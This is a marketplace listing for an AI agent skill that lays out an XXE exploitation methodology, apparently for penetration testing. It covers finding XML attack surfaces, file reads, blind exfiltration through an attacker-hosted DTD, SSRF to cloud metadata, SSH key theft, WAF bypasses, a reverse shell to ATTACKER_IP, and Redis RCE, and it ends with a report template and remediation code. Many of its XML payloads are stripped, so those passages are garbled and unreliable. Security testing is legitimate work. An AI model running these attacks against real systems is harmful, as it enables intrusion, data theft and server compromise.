AgentStack
SKILL verified MIT Self-run

Xxe Phantom

skill-rifteo-skills-xxe-phantom · by Rifteo

An XXE detection and exploitation methodology engine. Triggered when testing for XML injection, interacting with XML content-types/endpoints, or processing XML-based file uploads (SVG, DOCX, SAML, SOAP). Facilitates classic file reads, blind OOB exfiltration, WAF bypasses, and SSRF chaining. Includes report structuring.

No reviews yet
0 installs
14 views
0.0% view→install

Install

$ agentstack add skill-rifteo-skills-xxe-phantom

✓ scanned · ✓ verified — works with Claude Code, Cursor, and more.

Security review

✓ Passed

No issues found. Passed automated security review. · v0.1.0 How review works →

  • Prompt-injection patterns
  • Secret / credential exfiltration
  • Dangerous shell & filesystem operations
  • Untrusted network calls
  • Known-malicious package signatures

What it can access

  • Network access Used
  • Filesystem access No
  • Shell / process execution No
  • Environment & secrets Used
  • Dynamic code execution No

From automated source analysis of v0.1.0. “Used” means the capability is present in the source — more access means more to trust, not that it’s unsafe.

Are you the author of Xxe Phantom? Claim this listing to set pricing, connect Stripe payouts, and keep 70% of every sale.
Sign up to claim

About

XXE Phantom — XML External Entity Injection

XXE occurs when an XML parser evaluates external entity declarations (``) supplied by the attacker. Impact ranges from local file disclosure to full SSRF and, in some stacks, Remote Code Execution.


Phase 1 — Find the Attack Surface

1.1 Explicit XML Endpoints

Look for XML in request bodies or content-type headers:

Content-Type: application/xml
Content-Type: text/xml
Content-Type: application/soap+xml
Content-Type: application/rss+xml
Content-Type: application/atom+xml
Content-Type: application/xhtml+xml
# Burp search — find requests with XML content-type
# Proxy → HTTP history → Filter → Content-Type contains "xml"

# Or grep through Burp export:
grep -rl "application/xml\|text/xml\|soap" burp_export.xml

1.2 Hidden XML — Content-Type Switching

Many JSON APIs also accept XML. Try changing Content-Type on any POST/PUT endpoint:

# Original (JSON)
POST /api/users
Content-Type: application/json
{"username":"test"}

# Switch to XML
POST /api/users
Content-Type: application/xml

test

If the response is the same (200, user created) — the endpoint parses XML too.

1.3 File Upload Vectors

These formats are ZIP-compressed XML and are parsed server-side:

| Format | Dangerous file inside ZIP | |---|---| | .docx / .xlsx / .pptx | word/document.xml, xl/workbook.xml | | .odt / .ods | content.xml | | .svg | The SVG file itself is XML | | .xsl / .xslt | Stylesheet processed by XML transformer | | .xml (config/import) | Any config upload feature | | PDF (via FOP) | XSL-FO documents rendered to PDF |

1.4 SAML / SSO

SAML assertions are base64-encoded XML — always test:

  • SSO login flows (SAMLResponse parameter)
  • SP-initiated SSO (AuthnRequest)
  • Single logout (LogoutRequest / LogoutResponse)

1.5 Other Surfaces

SOAP web services            → WSDL + SOAP body
WebDAV (PROPFIND)            → XML request body
RSS/Atom feed readers        → XML feed content
Excel/Calc imports           → XML-based spreadsheet
Custom XML API               → Any proprietary format
XMP metadata in images       → Embedded XML processed server-side

1.6 Confirm XML Parsing

Before injecting entities, confirm the parser echoes content back. Inject a unique canary inside an element and verify it appears in the response:


CANARY_1337

If CANARY_1337 appears in the response → the parser reads and reflects XML content → proceed with entity injection.


Phase 2 — Classic XXE (Visible Output)

Use when the application reflects XML content in the HTTP response.

2.1 File Read


]>
&xxe;

Windows targets:

Check if output appears in the response body, headers, or error messages.

2.2 SSRF — Internal HTTP Request


]>
&xxe;

Try internal network targets:


   
   

2.3 Port Scanning (Time-Based)

     
   
   
  
  

Open port → fast response. Closed port → connection refused or timeout.

2.4 Multi-File Read via Multiple Entities


  
  
]>

  &f1;
  &f2;
  &f3;

2.5 Error-Based File Read

When content is NOT reflected but errors ARE:


  ">
  %eval;
  %error;
]>

The parser tries to open a file path containing the contents of /etc/passwd → path error includes the file content.


Phase 3 — Blind XXE (No Visible Output)

When the response never reflects entity content. Use Out-of-Band (OOB) exfiltration.

3.1 OOB via DNS — Simplest Confirmation


]>
&xxe;

If you get a DNS lookup or HTTP request at your OOB server → XXE confirmed, parser fetches external resources.

OOB tools:

  • Burp Collaborator (Burp → Collaborator → Copy to clipboard)
  • interactsh: interactsh-client → generates unique URL
  • pingb.in, canarytokens.org (passive)

3.2 OOB File Exfiltration via External DTD

Step 1 — Host a malicious DTD on your server (evil.dtd):


">
%wrap;
%send;

Step 2 — Inject a parameter entity that fetches your DTD:


  %remote;
]>

Step 3 — Your server receives: GET /?data=root:x:0:0:root:/root:/bin/bash...

Host the DTD:

# Python HTTP server
python3 -m http.server 80

# Or with ngrok for public URL
ngrok http 80

3.3 OOB via FTP (bypass HTTP-only egress filters)

Some servers allow FTP but block HTTP. Host a simple FTP server:


">
%wrap;
%send;
# Simple FTP server for capture (Python)
python3 scripts/xxe_probe.py --ftp-server --port 2121

3.4 Multi-Line File Read (Handle Newlines)

The basic approach breaks on newlines. Use PHP or Java wrappers to base64-encode first:


">
%wrap;
%send;

Then decode:

echo "cm9vdDp4OjA..." | base64 -d

Java alternative (when PHP is not available):

3.5 Error-Based Blind XXE (No HTTP Egress)

When the server has no outbound internet access but does produce error messages:


  ">
  %eval;
  %exfil;
]>

Parser error: file not found: /nonexistent/root:x:0:0:root:/root:/bin/bash... — the file content appears inside the error message.


Phase 4 — XXE via File Uploads

4.1 SVG Upload

SVG is XML. If the server renders SVG (thumbnail, preview, display), it may parse entities:


]>

  &xxe;

Upload as .svg, then view the rendered image or the server response.

Blind SVG (OOB):


  %remote;
]>

  

4.2 DOCX / XLSX / PPTX (Office Open XML)

These are ZIP archives. Inject into the embedded XML:

# 1. Create a legitimate docx/xlsx
# 2. Unzip it
unzip legitimate.docx -d docx_extracted/

# 3. Edit word/document.xml (for .docx) or xl/workbook.xml (for .xlsx)
# Add at the top, after the XML declaration:
nano docx_extracted/word/document.xml

Add the XXE payload at the beginning of the XML file:


  %remote;
]>
# 4. Repack
cd docx_extracted && zip -r ../malicious.docx . && cd ..

# 5. Upload malicious.docx via the target's document import/upload feature

4.3 ODT / ODS (LibreOffice / OpenDocument)

unzip legitimate.odt -d odt_extracted/
# Edit content.xml — inject DOCTYPE before root element
nano odt_extracted/content.xml
# Repack
cd odt_extracted && zip -r ../malicious.odt . && cd ..

4.4 XSL / XSLT Injection

XSLT stylesheets support document() and xsl:include which fetch external resources:


  
  
    
  

Phase 5 — XXE via XInclude

XInclude works without controlling the DOCTYPE — perfect for when the app wraps your input inside its own XML document.


  

  

When to use XInclude: the application constructs XML on the server-side and embeds user input inside it. You cannot inject a DOCTYPE because the parser receives a full document, but XInclude directives in element content are still processed.


Phase 6 — SAML XXE

SAML assertions are base64-encoded XML sent in SAMLResponse parameters.

6.1 Intercept a SAML Flow

# Burp Suite → Proxy → intercept SAMLResponse parameter
# Decode the base64 value:
echo "PHNhbWxwOlJlc3BvbnNlIHhtbG5z..." | base64 -d | xmllint --format -

6.2 Inject XXE into the SAML Assertion

After decoding, find the `` root element and prepend a DOCTYPE:


  %remote;
]>

  

6.3 Re-encode and Send

# Re-encode and URL-encode for POST
python3 -c "
import base64, urllib.parse, sys
with open('modified_saml.xml','rb') as f:
    data = f.read()
encoded = base64.b64encode(data).decode()
print(urllib.parse.quote(encoded))
" > encoded_payload.txt

# Paste into SAMLResponse= parameter in Burp Repeater

Note: SAML signatures protect the assertion content. However:

  • If the SP doesn't validate the signature → inject directly
  • If only the ` element is signed → inject in the ` wrapper outside it
  • If the XML parser processes entities before signature validation → works regardless

Phase 7 — Protocol Handlers

Different protocols work depending on the XML parser and server platform:

| Protocol | Usage | Platform | |---|---|---| | file:// | Local file read | All | | http:// / https:// | SSRF | All (if network egress allowed) | | ftp:// | OOB exfiltration, bypasses HTTP filters | All | | php://filter/... | Base64-encoded file read (no newlines) | PHP | | php://input | Read request body | PHP | | expect://id | RCE (requires expect:// wrapper enabled) | PHP (rare) | | netdoc:// | File read — handles newlines | Java | | jar:// | Multi-step: fetch JAR, read file inside | Java | | gopher:// | SSRF to TCP services (Gopher protocol) | Java/Python |

PHP expect:// RCE (when enabled)


]>
&xxe;

Only works if PHP was compiled with --enable-exif or expect extension is loaded (uncommon).

Gopher:// — SSRF to Internal TCP Services

Build Gopher payloads for internal services using tools like Gopherus.


Phase 8 — WAF and Filter Bypass Techniques

8.1 Encoding the XML Declaration


]>
&xxe;

8.2 Chunked Transfer Encoding

Split the payload across chunks so WAF pattern matching fails:

POST /api/data HTTP/1.1
Content-Type: application/xml
Transfer-Encoding: chunked

1a

1c
]>
e
&xxe;
0

8.3 Alternate DOCTYPE Syntax


]>

]>

8.4 CDATA Wrapper (bypass content-type filters)


]>
]]>&xxe;]]>

8.5 Nested Parameter Entities

Obfuscate the payload through multiple levels of entity expansion:

">
  %a;
  %b;
]>

8.6 Double URL Encoding in Entity Value


Phase 9 — Escalation Chains

9.1 XXE → SSRF → Cloud Metadata (AWS / GCP / Azure)

9.2 XXE → LFI → SSH Private Key

Once you have the private key → SSH into the server.

9.3 XXE → LFI → Source Code → Credentials

9.4 XXE → SSRF → Internal Admin Panels

9.5 XXE → RCE (PHP expect://)


& /dev/tcp/ATTACKER_IP/4444 0>&1'">
]>
&xxe;

9.6 XXE → Gopher → Redis → RCE (Server-Side)

# Generate Gopher payload for Redis (using Gopherus)
python2 gopherus.py --exploit redis
# → generates gopher:// URL for writing cron job or PHP webshell

Phase 10 — Automated Testing

Burp Suite Workflow

  1. Intercept XML requests: Proxy → HTTP history → filter Content-Type contains "xml"
  2. Send to Repeater — manually inject the basic entity payload (Phase 2.1)
  3. Use Burp Collaborator for blind OOB detection (Phase 3.1)
  4. Active Scan — Burp Pro's scanner detects XXE automatically if pointed at XML endpoints
  5. BApp: Content Type Converter — automatically retries requests with XML content-type
  6. BApp: Upload Scanner — tests XXE in file upload fields (SVG, DOCX, etc.)

XXEinjector (automation)

gem install xxeinjector  # or clone from GitHub

# Basic file read (visible output)
ruby XXEinjector.rb --host=YOUR-SERVER --path=/etc/passwd --file=request.txt --oob=http

# Blind OOB mode
ruby XXEinjector.rb --host=YOUR-SERVER --path=/etc/passwd --file=request.txt --oob=http --phpfilter

# Enumerate files in directory
ruby XXEinjector.rb --host=YOUR-SERVER --path=/var/www/ --file=request.txt --oob=http --enumerate

# request.txt format: the raw HTTP request with XXEINJECT marker where payload goes

Script: scripts/xxe_probe.py

# Test single endpoint with visible output
python3 scripts/xxe_probe.py -u https://target.com/api/xml -f /etc/passwd

# Test with OOB server
python3 scripts/xxe_probe.py -u https://target.com/api/xml --oob http://YOUR-SERVER/ --file /etc/passwd

# Test file upload for XXE (SVG)
python3 scripts/xxe_probe.py -u https://target.com/upload --upload --format svg --oob http://YOUR-SERVER/

# Run FTP exfil server locally
python3 scripts/xxe_probe.py --ftp-server --port 2121

Phase 11 — Confirm the Finding

  • [ ] DOCTYPE injection accepted (no parser error, no 400 response)
  • [ ] Entity value reflected in response (classic) OR OOB callback received (blind)
  • [ ] File contents confirmed — at minimum first line of /etc/passwd showing root:x:0:0:
  • [ ] Reproducible from a clean session without prior state
  • [ ] SSRF confirmed if applicable — internal resource response or OOB DNS for internal host

False positive checks:

  • Server returns 400 "DOCTYPE not allowed" → parser hardened, not vulnerable
  • Entity syntax in response literally (&xxe; or SYSTEM "...") → parser escaped rather than evaluated
  • CANARY_1337 reflects but &xxe; doesn't → reflection exists but entity expansion disabled (partial protection)
  • OOB callback comes from YOUR machine, not the target → local test environment issue

Phase 12 — Report Structure

Title: XXE Injection on [endpoint] — [Impact: Local File Read / SSRF / Blind OOB]

Severity:
  Critical: RCE via expect://, SSRF to cloud metadata with credential theft, SSH key read
  High:     Local file read (passwd, source code, .env), SSRF to internal services
  Medium:   SSRF to non-sensitive internal URLs, blind XXE confirmed but limited impact
  Low:      XXE confirmed but no external HTTP/file access allowed

CWE: CWE-611 — Improper Restriction of XML External Entity Reference
OWASP: A05:2021 – Security Misconfiguration

CVSS 3.1 Base (file read):
  AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N → 6.5 (Medium)
CVSS 3.1 Base (SSRF → internal admin, no auth):
  AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H → 10.0 (Critical)

Affected endpoint: POST https://target.com/api/xml
Content-Type: application/xml

Steps to reproduce:
1. Send the following request:
   POST /api/xml HTTP/1.1
   Host: target.com
   Content-Type: application/xml

   
   
   ]>
   &xxe;

2. Observe: response body contains contents of /etc/passwd:
   root:x:0:0:root:/root:/bin/bash
   daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
   [...]

For Blind XXE:
1. Host evil.dtd at http://YOUR-SERVER/evil.dtd with content:
   [paste DTD]
2. Send request with:  %remote;
3. Observe OOB server receiving: GET /?data=root:x:0:0:root:...

Impact:
- [File read] Attacker can read arbitrary files accessible to the web server process
- [SSRF] Attacker can probe and interact with internal services not exposed to the internet
- [Credential theft] Application secrets, database passwords, and API keys exposed
- [Escalation] SSH private key read → server compromise / lateral movement

Evidence:
- HTTP request/response screenshot showing entity content in response
- OOB server log showing file content received (for blind)
- Screenshot of /etc/passwd contents in response

Remediation:
- Disable external entity processing in the XML parser (language-specific):

  Java (SAXParser):
    factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
    factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

  Python (lxml):
    parser = etree.XMLParser(resolve_entities=False, no_network=True)

  PHP (libxml):
    libxml_disable_entity_loader(true);   # PHP < 8.0
    # PHP 8.0+: entity loading disabled by default

  .NET:
    XmlReaderSettings settings = new XmlReaderSettings();
    settings.DtdProcessing = DtdProcessing.Prohibit;

  Node.js (libxmljs):
    libxmljs.parseXml(xml, { noent: false, dtdload: false, dtdvalid: false });

- Use a whitelist-based XML schema (XSD) to validate structure before parsing
- Reject requests with DOCTYPE declarations at the application layer
- Run the XML parser in a sandboxed environment with no network/filesystem access
- Prefer JSON over XML where XML functionality is not required

Quick-Reference: Priority Attack Order

  1. Inject basic file:///etc/passwd — confirm if reflection is visible
  2. OOB DNS check — send entity to Collaborator URL — confirm parser makes outbound requests
  3. **External

Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

Install and usage instructions live in the source repository linked above.

Reviews

No reviews yet — be the first.

Versions

  • v0.1.0 Imported from the upstream source.